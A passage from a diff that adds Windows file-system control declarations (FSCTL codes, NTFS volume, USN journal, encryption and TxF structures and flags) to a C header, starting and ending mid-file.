CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 121, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_QUERY_PAGEFILE_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 122, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_RESET_VOLUME_ALLOCATION_HINTS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 123, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_QUERY_DEPENDENT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 124, METHOD_BUFFERED, FILE_ANY_ACCESS) // Dependency File System Filter +#define FSCTL_SD_GLOBAL_CHANGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 125, METHOD_BUFFERED, FILE_ANY_ACCESS) // Update NTFS Security Descriptors +#endif /* _WIN32_WINNT >= 0x0601 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_TXFS_READ_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 126, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_LOOKUP_STREAM_FROM_CLUSTER CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 127, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 128, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#define FSCTL_FILE_TYPE_NOTIFICATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 129, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif + +// Values 130 - 130 are available +// Values 131 - 139 are reserved for FSRM. + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_GET_BOOT_AREA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 140, METHOD_BUFFERED, FILE_ANY_ACCESS) // BOOT_AREA_INFO +#define FSCTL_GET_RETRIEVAL_POINTER_BASE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 141, METHOD_BUFFERED, FILE_ANY_ACCESS) // RETRIEVAL_POINTER_BASE +#define FSCTL_SET_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 142, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION +#define FSCTL_QUERY_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 143, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION + +#define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define FSCTL_CSV_TUNNEL_REQUEST CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 145, METHOD_BUFFERED, FILE_ANY_ACCESS) // CSV_TUNNEL_REQUEST +#define FSCTL_IS_CSV_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 146, METHOD_BUFFERED, FILE_ANY_ACCESS) // IS_CSV_FILE + +#define FSCTL_QUERY_FILE_SYSTEM_RECOGNITION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 147, METHOD_BUFFERED, FILE_ANY_ACCESS) // +#define FSCTL_CSV_GET_VOLUME_PATH_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 148, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_NAME_FOR_VOLUME_MOUNT_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 149, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_PATH_NAMES_FOR_VOLUME_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 150, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_FILE_ON_CSV_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 151, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#endif /* _WIN32_WINNT >= 0x0601 */ + +#define FSCTL_MARK_AS_SYSTEM_HIVE FSCTL_SET_BOOTLOADER_ACCESSED + + +#if(_WIN32_WINNT >= 0x0601) + +typedef struct _CSV_NAMESPACE_INFO { + + ULONG Version; + ULONG DeviceNumber; + LARGE_INTEGER StartingOffset; + ULONG SectorSize; + +} CSV_NAMESPACE_INFO, *PCSV_NAMESPACE_INFO; + +#define CSV_NAMESPACE_INFO_V1 (sizeof(CSV_NAMESPACE_INFO)) +#define CSV_INVALID_DEVICE_NUMBER 0xFFFFFFFF + +#endif /* _WIN32_WINNT >= 0x0601 */ + +typedef struct _PATHNAME_BUFFER { + + ULONG PathNameLength; + WCHAR Name[1]; + +} PATHNAME_BUFFER, *PPATHNAME_BUFFER; + +typedef struct _FSCTL_QUERY_FAT_BPB_BUFFER { + + UCHAR First0x24BytesOfBootSector[0x24]; + +} FSCTL_QUERY_FAT_BPB_BUFFER, *PFSCTL_QUERY_FAT_BPB_BUFFER; + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER VolumeSerialNumber; + LARGE_INTEGER NumberSectors; + LARGE_INTEGER TotalClusters; + LARGE_INTEGER FreeClusters; + LARGE_INTEGER TotalReserved; + ULONG BytesPerSector; + ULONG BytesPerCluster; + ULONG BytesPerFileRecordSegment; + ULONG ClustersPerFileRecordSegment; + LARGE_INTEGER MftValidDataLength; + LARGE_INTEGER MftStartLcn; + LARGE_INTEGER Mft2StartLcn; + LARGE_INTEGER MftZoneStart; + LARGE_INTEGER MftZoneEnd; + +} NTFS_VOLUME_DATA_BUFFER, *PNTFS_VOLUME_DATA_BUFFER; + +typedef struct { + + ULONG ByteCount; + + USHORT MajorVersion; + USHORT MinorVersion; + +} NTFS_EXTENDED_VOLUME_DATA, *PNTFS_EXTENDED_VOLUME_DATA; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingLcn; + +} STARTING_LCN_INPUT_BUFFER, *PSTARTING_LCN_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER StartingLcn; + LARGE_INTEGER BitmapSize; + UCHAR Buffer[1]; + +} VOLUME_BITMAP_BUFFER, *PVOLUME_BITMAP_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingVcn; + +} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER; + +typedef struct RETRIEVAL_POINTERS_BUFFER { + + ULONG ExtentCount; + LARGE_INTEGER StartingVcn; + struct { + LARGE_INTEGER NextVcn; + LARGE_INTEGER Lcn; + } Extents[1]; + +} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + +} NTFS_FILE_RECORD_INPUT_BUFFER, *PNTFS_FILE_RECORD_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + ULONG FileRecordLength; + UCHAR FileRecordBuffer[1]; + +} NTFS_FILE_RECORD_OUTPUT_BUFFER, *PNTFS_FILE_RECORD_OUTPUT_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA, *PMOVE_FILE_DATA; + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER SourceFileRecord; + LARGE_INTEGER TargetFileRecord; + +} MOVE_FILE_RECORD_DATA, *PMOVE_FILE_RECORD_DATA; + + +#if defined(_WIN64) + +typedef struct _MOVE_FILE_DATA32 { + + UINT32 FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA32, *PMOVE_FILE_DATA32; +#endif +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + ULONG Restart; + SID Sid; +} FIND_BY_SID_DATA, *PFIND_BY_SID_DATA; + +typedef struct { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FIND_BY_SID_OUTPUT, *PFIND_BY_SID_OUTPUT; + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + + ULONGLONG StartFileReferenceNumber; + USN LowUsn; + USN HighUsn; + +} MFT_ENUM_DATA, *PMFT_ENUM_DATA; + +typedef struct { + + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} CREATE_USN_JOURNAL_DATA, *PCREATE_USN_JOURNAL_DATA; + +typedef struct { + + USN StartUsn; + ULONG ReasonMask; + ULONG ReturnOnlyOnClose; + ULONGLONG Timeout; + ULONGLONG BytesToWaitFor; + ULONGLONG UsnJournalID; + +} READ_USN_JOURNAL_DATA, *PREAD_USN_JOURNAL_DATA; + +typedef struct { + + ULONG RecordLength; + USHORT MajorVersion; + USHORT MinorVersion; + ULONGLONG FileReferenceNumber; + ULONGLONG ParentFileReferenceNumber; + USN Usn; + LARGE_INTEGER TimeStamp; + ULONG Reason; + ULONG SourceInfo; + ULONG SecurityId; + ULONG FileAttributes; + USHORT FileNameLength; + USHORT FileNameOffset; + WCHAR FileName[1]; + +} USN_RECORD, *PUSN_RECORD; + +#define USN_PAGE_SIZE (0x1000) + +#define USN_REASON_DATA_OVERWRITE (0x00000001) +#define USN_REASON_DATA_EXTEND (0x00000002) +#define USN_REASON_DATA_TRUNCATION (0x00000004) +#define USN_REASON_NAMED_DATA_OVERWRITE (0x00000010) +#define USN_REASON_NAMED_DATA_EXTEND (0x00000020) +#define USN_REASON_NAMED_DATA_TRUNCATION (0x00000040) +#define USN_REASON_FILE_CREATE (0x00000100) +#define USN_REASON_FILE_DELETE (0x00000200) +#define USN_REASON_EA_CHANGE (0x00000400) +#define USN_REASON_SECURITY_CHANGE (0x00000800) +#define USN_REASON_RENAME_OLD_NAME (0x00001000) +#define USN_REASON_RENAME_NEW_NAME (0x00002000) +#define USN_REASON_INDEXABLE_CHANGE (0x00004000) +#define USN_REASON_BASIC_INFO_CHANGE (0x00008000) +#define USN_REASON_HARD_LINK_CHANGE (0x00010000) +#define USN_REASON_COMPRESSION_CHANGE (0x00020000) +#define USN_REASON_ENCRYPTION_CHANGE (0x00040000) +#define USN_REASON_OBJECT_ID_CHANGE (0x00080000) +#define USN_REASON_REPARSE_POINT_CHANGE (0x00100000) +#define USN_REASON_STREAM_CHANGE (0x00200000) +#define USN_REASON_TRANSACTED_CHANGE (0x00400000) +#define USN_REASON_CLOSE (0x80000000) + +typedef struct { + + ULONGLONG UsnJournalID; + USN FirstUsn; + USN NextUsn; + USN LowestValidUsn; + USN MaxUsn; + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} USN_JOURNAL_DATA, *PUSN_JOURNAL_DATA; + +typedef struct { + + ULONGLONG UsnJournalID; + ULONG DeleteFlags; + +} DELETE_USN_JOURNAL_DATA, *PDELETE_USN_JOURNAL_DATA; + +#define USN_DELETE_FLAG_DELETE (0x00000001) +#define USN_DELETE_FLAG_NOTIFY (0x00000002) + +#define USN_DELETE_VALID_FLAGS (0x00000003) + +typedef struct { + + ULONG UsnSourceInfo; + HANDLE VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO, *PMARK_HANDLE_INFO; + +#if defined(_WIN64) + +typedef struct { + + ULONG UsnSourceInfo; + UINT32 VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO32, *PMARK_HANDLE_INFO32; +#endif + +#define USN_SOURCE_DATA_MANAGEMENT (0x00000001) +#define USN_SOURCE_AUXILIARY_DATA (0x00000002) +#define USN_SOURCE_REPLICATION_MANAGEMENT (0x00000004) + +#define MARK_HANDLE_PROTECT_CLUSTERS (0x00000001) +#define MARK_HANDLE_TXF_SYSTEM_LOG (0x00000004) +#define MARK_HANDLE_NOT_TXF_SYSTEM_LOG (0x00000008) + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0601) + +#define MARK_HANDLE_REALTIME (0x00000020) +#define MARK_HANDLE_NOT_REALTIME (0x00000040) + +#define NO_8DOT3_NAME_PRESENT (0x00000001) +#define REMOVED_8DOT3_NAME (0x00000002) + +#define PERSISTENT_VOLUME_STATE_SHORT_NAME_CREATION_DISABLED (0x00000001) + +#endif /* _WIN32_WINNT >= 0x0601 */ + + +#if (_WIN32_WINNT >= 0x0500) +typedef struct { + + ACCESS_MASK DesiredAccess; + ULONG SecurityIds[1]; + +} BULK_SECURITY_TEST_DATA, *PBULK_SECURITY_TEST_DATA; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +#define VOLUME_IS_DIRTY (0x00000001) +#define VOLUME_UPGRADE_SCHEDULED (0x00000002) +#define VOLUME_SESSION_OPEN (0x00000004) +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_PREFETCH { + ULONG Type; + ULONG Count; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH, *PFILE_PREFETCH; + +typedef struct _FILE_PREFETCH_EX { + ULONG Type; + ULONG Count; + PVOID Context; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH_EX, *PFILE_PREFETCH_EX; + +#define FILE_PREFETCH_TYPE_FOR_CREATE 0x1 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM 0x2 +#define FILE_PREFETCH_TYPE_FOR_CREATE_EX 0x3 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM_EX 0x4 + +#define FILE_PREFETCH_TYPE_MAX 0x4 + +#endif /* _WIN32_WINNT >= 0x0500 */ + +typedef struct _FILESYSTEM_STATISTICS { + + USHORT FileSystemType; + USHORT Version; // currently version 1 + + ULONG SizeOfCompleteStructure; // must by a mutiple of 64 bytes + + ULONG UserFileReads; + ULONG UserFileReadBytes; + ULONG UserDiskReads; + ULONG UserFileWrites; + ULONG UserFileWriteBytes; + ULONG UserDiskWrites; + + ULONG MetaDataReads; + ULONG MetaDataReadBytes; + ULONG MetaDataDiskReads; + ULONG MetaDataWrites; + ULONG MetaDataWriteBytes; + ULONG MetaDataDiskWrites; +} FILESYSTEM_STATISTICS, *PFILESYSTEM_STATISTICS; + +// values for FS_STATISTICS.FileSystemType + +#define FILESYSTEM_STATISTICS_TYPE_NTFS 1 +#define FILESYSTEM_STATISTICS_TYPE_FAT 2 +#define FILESYSTEM_STATISTICS_TYPE_EXFAT 3 +typedef struct _FAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} FAT_STATISTICS, *PFAT_STATISTICS; + +typedef struct _EXFAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} EXFAT_STATISTICS, *PEXFAT_STATISTICS; + +typedef struct _NTFS_STATISTICS { + + ULONG LogFileFullExceptions; + ULONG OtherExceptions; + + ULONG MftReads; + ULONG MftReadBytes; + ULONG MftWrites; + ULONG MftWriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftWritesUserLevel; + + USHORT MftWritesFlushForLogFileFull; + USHORT MftWritesLazyWriter; + USHORT MftWritesUserRequest; + + ULONG Mft2Writes; + ULONG Mft2WriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } Mft2WritesUserLevel; + + USHORT Mft2WritesFlushForLogFileFull; + USHORT Mft2WritesLazyWriter; + USHORT Mft2WritesUserRequest; + + ULONG RootIndexReads; + ULONG RootIndexReadBytes; + ULONG RootIndexWrites; + ULONG RootIndexWriteBytes; + + ULONG BitmapReads; + ULONG BitmapReadBytes; + ULONG BitmapWrites; + ULONG BitmapWriteBytes; + + USHORT BitmapWritesFlushForLogFileFull; + USHORT BitmapWritesLazyWriter; + USHORT BitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + } BitmapWritesUserLevel; + + ULONG MftBitmapReads; + ULONG MftBitmapReadBytes; + ULONG MftBitmapWrites; + ULONG MftBitmapWriteBytes; + + USHORT MftBitmapWritesFlushForLogFileFull; + USHORT MftBitmapWritesLazyWriter; + USHORT MftBitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftBitmapWritesUserLevel; + + ULONG UserIndexReads; + ULONG UserIndexReadBytes; + ULONG UserIndexWrites; + ULONG UserIndexWriteBytes; + ULONG LogFileReads; + ULONG LogFileReadBytes; + ULONG LogFileWrites; + ULONG LogFileWriteBytes; + + struct { + ULONG Calls; // number of individual calls to allocate clusters + ULONG Clusters; // number of clusters allocated + ULONG Hints; // number of times a hint was specified + + ULONG RunsReturned; // number of runs used to satisify all the requests + + ULONG HintsHonored; // number of times the hint was useful + ULONG HintsClusters; // number of clusters allocated via the hint + ULONG Cache; // number of times the cache was useful other than the hint + ULONG CacheClusters; // number of clusters allocated via the cache other than the hint + ULONG CacheMiss; // number of times the cache wasn't useful + ULONG CacheMissClusters; // number of clusters allocated without the cache + } Allocate; + +} NTFS_STATISTICS, *PNTFS_STATISTICS; + +#if (_WIN32_WINNT >= 0x0500) + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _FILE_OBJECTID_BUFFER { + + UCHAR ObjectId[16]; + + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } DUMMYSTRUCTNAME; + UCHAR ExtendedInfo[48]; + } DUMMYUNIONNAME; + +} FILE_OBJECTID_BUFFER, *PFILE_OBJECTID_BUFFER; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_SET_SPARSE_BUFFER { + BOOLEAN SetSparse; +} FILE_SET_SPARSE_BUFFER, *PFILE_SET_SPARSE_BUFFER; + + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ZERO_DATA_INFORMATION { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER BeyondFinalZero; + +} FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ALLOCATED_RANGE_BUFFER { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER Length; + +} FILE_ALLOCATED_RANGE_BUFFER, *PFILE_ALLOCATED_RANGE_BUFFER; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _ENCRYPTION_BUFFER { + + ULONG EncryptionOperation; + UCHAR Private[1]; + +} ENCRYPTION_BUFFER, *PENCRYPTION_BUFFER; + +#define FILE_SET_ENCRYPTION 0x00000001 +#define FILE_CLEAR_ENCRYPTION 0x00000002 +#define STREAM_SET_ENCRYPTION 0x00000003 +#define STREAM_CLEAR_ENCRYPTION 0x00000004 + +#define MAXIMUM_ENCRYPTION_VALUE 0x00000004 + +typedef struct _DECRYPTION_STATUS_BUFFER { + + BOOLEAN NoEncryptedStreams; + +} DECRYPTION_STATUS_BUFFER, *PDECRYPTION_STATUS_BUFFER; + +#define ENCRYPTION_FORMAT_DEFAULT (0x01) + +#define COMPRESSION_FORMAT_SPARSE (0x4000) + +typedef struct _REQUEST_RAW_ENCRYPTED_DATA { + + LONGLONG FileOffset; + ULONG Length; + +} REQUEST_RAW_ENCRYPTED_DATA, *PREQUEST_RAW_ENCRYPTED_DATA; + +typedef struct _ENCRYPTED_DATA_INFO { + + ULONGLONG StartingFileOffset; + + ULONG OutputBufferOffset; + + ULONG BytesWithinFileSize; + + ULONG BytesWithinValidDataLength; + + USHORT CompressionFormat; + + UCHAR DataUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + + UCHAR EncryptionFormat; + + USHORT NumberOfDataBlocks; + + ULONG DataBlockSize[ANYSIZE_ARRAY]; + +} ENCRYPTED_DATA_INFO; +typedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _PLEX_READ_DATA_REQUEST { + + LARGE_INTEGER ByteOffset; + ULONG ByteLength; + ULONG PlexNumber; + +} PLEX_READ_DATA_REQUEST, *PPLEX_READ_DATA_REQUEST; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _SI_COPYFILE { + ULONG SourceFileNameLength; + ULONG DestinationFileNameLength; + ULONG Flags; + WCHAR FileNameBuffer[1]; +} SI_COPYFILE, *PSI_COPYFILE; + +#define COPYFILE_SIS_LINK 0x0001 // Copy only if source is SIS +#define COPYFILE_SIS_REPLACE 0x0002 // Replace destination if it exists, otherwise don't. +#define COPYFILE_SIS_FLAGS 0x0003 +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _FILE_MAKE_COMPATIBLE_BUFFER { + BOOLEAN CloseDisc; +} FILE_MAKE_COMPATIBLE_BUFFER, *PFILE_MAKE_COMPATIBLE_BUFFER; + + +typedef struct _FILE_SET_DEFECT_MGMT_BUFFER { + BOOLEAN Disable; +} FILE_SET_DEFECT_MGMT_BUFFER, *PFILE_SET_DEFECT_MGMT_BUFFER; + + +typedef struct _FILE_QUERY_SPARING_BUFFER { + ULONG SparingUnitBytes; + BOOLEAN SoftwareSparing; + ULONG TotalSpareBlocks; + ULONG FreeSpareBlocks; +} FILE_QUERY_SPARING_BUFFER, *PFILE_QUERY_SPARING_BUFFER; + + +typedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER { + LARGE_INTEGER DirectoryCount; // -1 = unknown + LARGE_INTEGER FileCount; // -1 = unknown + USHORT FsFormatMajVersion; // -1 = unknown or n/a + USHORT FsFormatMinVersion; // -1 = unknown or n/a + WCHAR FsFormatName[ 12]; + LARGE_INTEGER FormatTime; + LARGE_INTEGER LastUpdateTime; + WCHAR CopyrightInfo[ 34]; + WCHAR AbstractInfo[ 34]; + WCHAR FormattingImplementationInfo[ 34]; + WCHAR LastModifyingImplementationInfo[ 34]; +} FILE_QUERY_ON_DISK_VOL_INFO_BUFFER, *PFILE_QUERY_ON_DISK_VOL_INFO_BUFFER; + + +#define SET_REPAIR_ENABLED (0x00000001) +#define SET_REPAIR_VOLUME_BITMAP_SCAN (0x00000002) +#define SET_REPAIR_DELETE_CROSSLINK (0x00000004) +#define SET_REPAIR_WARN_ABOUT_DATA_LOSS (0x00000008) +#define SET_REPAIR_DISABLED_AND_BUGCHECK_ON_CORRUPT (0x00000010) +#define SET_REPAIR_VALID_MASK (0x0000001F) + +typedef enum _SHRINK_VOLUME_REQUEST_TYPES +{ + ShrinkPrepare = 1, + ShrinkCommit, + ShrinkAbort + +} SHRINK_VOLUME_REQUEST_TYPES, *PSHRINK_VOLUME_REQUEST_TYPES; + +typedef struct _SHRINK_VOLUME_INFORMATION +{ + SHRINK_VOLUME_REQUEST_TYPES ShrinkRequestType; + ULONGLONG Flags; + LONGLONG NewNumberOfSectors; + +} SHRINK_VOLUME_INFORMATION, *PSHRINK_VOLUME_INFORMATION; + +#define TXFS_RM_FLAG_LOGGING_MODE 0x00000001 +#define TXFS_RM_FLAG_RENAME_RM 0x00000002 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000004 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000008 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000010 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000020 +#define TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000040 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000080 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000100 +#define TXFS_RM_FLAG_GROW_LOG 0x00000400 +#define TXFS_RM_FLAG_SHRINK_LOG 0x00000800 +#define TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE 0x00001000 +#define TXFS_RM_FLAG_PRESERVE_CHANGES 0x00002000 +#define TXFS_RM_FLAG_RESET_RM_AT_NEXT_START 0x00004000 +#define TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START 0x00008000 +#define TXFS_RM_FLAG_PREFER_CONSISTENCY 0x00010000 +#define TXFS_RM_FLAG_PREFER_AVAILABILITY 0x00020000 + +#define TXFS_LOGGING_MODE_SIMPLE (0x0001) +#define TXFS_LOGGING_MODE_FULL (0x0002) + +#define TXFS_TRANSACTION_STATE_NONE 0x00 +#define TXFS_TRANSACTION_STATE_ACTIVE 0x01 +#define TXFS_TRANSACTION_STATE_PREPARED 0x02 +#define TXFS_TRANSACTION_STATE_NOTACTIVE 0x03 + +#define TXFS_MODIFY_RM_VALID_FLAGS \ + (TXFS_RM_FLAG_LOGGING_MODE | \ + TXFS_RM_FLAG_RENAME_RM | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_SHRINK_LOG | \ + TXFS_RM_FLAG_GROW_LOG | \ + TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE | \ + TXFS_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_MODIFY_RM { + + // + // TXFS_RM_FLAG_* flags + // + + ULONG Flags; + + // + // Maximum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX is set. + // + + ULONG LogContainerCountMax; + + // + // Minimum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN is set. + // + + ULONG LogContainerCountMin; + + // + // Target log container count for TXFS_RM_FLAG_SHRINK_LOG or _GROW_LOG. + // + + ULONG LogContainerCount; + + // + // When the log is full, increase its size by this much. Indicated as either a percent of + // the log size or absolute container count, depending on which of the TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_* + // flags is set. + // + + ULONG LogGrowthIncrement; + + // + // Sets autoshrink policy if TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE is set. Autoshrink + // makes the log shrink so that no more than this percentage of the log is free at any time. + // + + ULONG LogAutoShrinkPercentage; + + // + // Reserved. + // + + ULONGLONG Reserved; + + // + // If TXFS_RM_FLAG_LOGGING_MODE is set, this must contain one of TXFS_LOGGING_MODE_SIMPLE + // or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + +} TXFS_MODIFY_RM, + *PTXFS_MODIFY_RM; + +#define TXFS_RM_STATE_NOT_STARTED 0 +#define TXFS_RM_STATE_STARTING 1 +#define TXFS_RM_STATE_ACTIVE 2 +#define TXFS_RM_STATE_SHUTTING_DOWN 3 + +#define TXFS_QUERY_RM_INFORMATION_VALID_FLAGS \ + (TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_QUERY_RM_INFORMATION { + + ULONG BytesRequired; + + ULONGLONG TailLsn; + ULONGLONG CurrentLsn; + 